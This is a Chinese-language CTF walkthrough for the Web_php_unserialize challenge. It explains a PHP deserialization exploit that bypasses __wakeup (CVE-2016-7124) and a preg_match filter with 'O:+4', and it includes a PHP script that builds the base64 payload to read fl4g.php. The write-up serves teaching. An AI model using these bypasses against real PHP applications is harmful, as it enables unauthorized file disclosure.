攻防世界web进阶区Web_php_unserialize详解
题目
题目是一个php反序列化,这里放出了一个源码审计
详解
1-如果我们第一步匹配到了 o或者c:数字:
那么他会停止运行,停止运行后,会触发__destruct(),【问为什么,见魔术方法讲解】
2-我们如何绕过__wakeup()呢?
那么就是让他反序列化失败,然后运行停止,执行了__destruct()
就是只需要令序列化字符串中标识变量数量的值大于实 际变量即可绕过__wakeup()函数
<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
$this->file = $file;
//$this->file1 = $file1;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}//这里我们新定义一个类,参数是fl4g.php,复制他原来的类下来,是为了序列化
$array= new Demo("fl4g.php");
$content=serialize($array);
echo ($content);
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}
序列化完成后,是这个,我们传入以后,并不能绕过wakeup
,因此,把1改成比1大即可,【为什么,见如下魔术方法绕过】
O:4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}
3-这时候我们该绕过正则,让他进行反序列化
使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过。
O:+4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}
这里我们没有绕过正则,发现,出现了stop hacking
注意:base64的时候,需要在脚本中,一并base,因为如果复制,就相当于在记事本中,记事本中的格式与序列化的格式不同,自然也就base64结果不同
这里可以使用正则替换,也可以使用手工替换+号,但是手工替换有问题在php定义变量时 <\x00>类名<\x00>,因此,直接复制时,并不能获取到两个\00,详解见如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$obj = new Demo('fl4g.php');
$str = serialize($obj);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$str1 = str_replace('O:4', 'O:+4',$str);//绕过preg_match
$str2 = str_replace(':1:', ':2:',$str1);//绕过wakeup
var_dump($str2);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($str2));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
正则
/i 表示匹配的时候不区分大小写
\d 匹配一个数字字符。等价于 [0-9]。
“+” 出现至少1次
[ ] 是定义匹配的字符范围
[oc]是匹配o或c任意一个
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。
\d+是为了匹配[0-9]的数字,多次匹配!
”[oc]:“匹配的是,o:或者c:
"[oc]:\d+"匹配的是o或者c:数字
"[oc]:\d+"匹配的是o或者c:数字:
魔术方法
魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
function __wakeup()
当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过
php中带有双下划线(__)的是魔术方法,会在满足条件时自动调用
序列化是把数据类型压缩成一个字符串,方便处理,反序列化是把字符串还原成数据类型
正则表达式用于匹配字符串
观察demo类,有三个魔术方法:
__construct(),创建时自动调用,用得到的参数覆盖$file
__destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
__wakeup(),反序列化时调用,会把$file重置成index.php
CVE-2016-7124 wakeup绕过
将传入的序列化数据的对象变量个数由1更改为2,页面只执行了__destruct方法,而且输出name属性时报错,是由于反序列化数据时失败无法创建对象。
不同属性的对象序列化后字符格式是不一样的
转自这位大佬
最开始的我是先把序列化后的字符串输出 , 然后手工添加 " + " 号和破坏对象属性 , 最后再对其 Base64 编码后提交 , 但是始终拿不到 Flag
翻看了一会儿以前的笔记 , 突然发现了这个知识点
不同属性的对象序列化后字符格式是不一样的
Private属性 : 数据类型:属性名长度:"\00类名\00属性名";数据类型:属性值长度:"属性值";
Protected属性 : 数据类型:属性名长度:"\00*\00属性名";数据类型:属性值长度:"属性值";
Public属性 : 数据类型:属性名长度:"属性名";数据类型:属性值长度:"属性值";
本题中就有一个 Private 对象 , 会不会在复制粘贴时破坏了 " \00 " 这个特殊字符呢 ? 可以实验一下~
将序列化后的字符串直接存入文件
将序列化后的字符串复制粘贴存入文件
vim 查看 a.txt 文件
果然 , 输出到命令行的序列化字符串格式已经被破坏 , 因此必须要在脚本中直接构造出完整的 Exp
那么我们直接复制出来的这两个空格也就可以解释了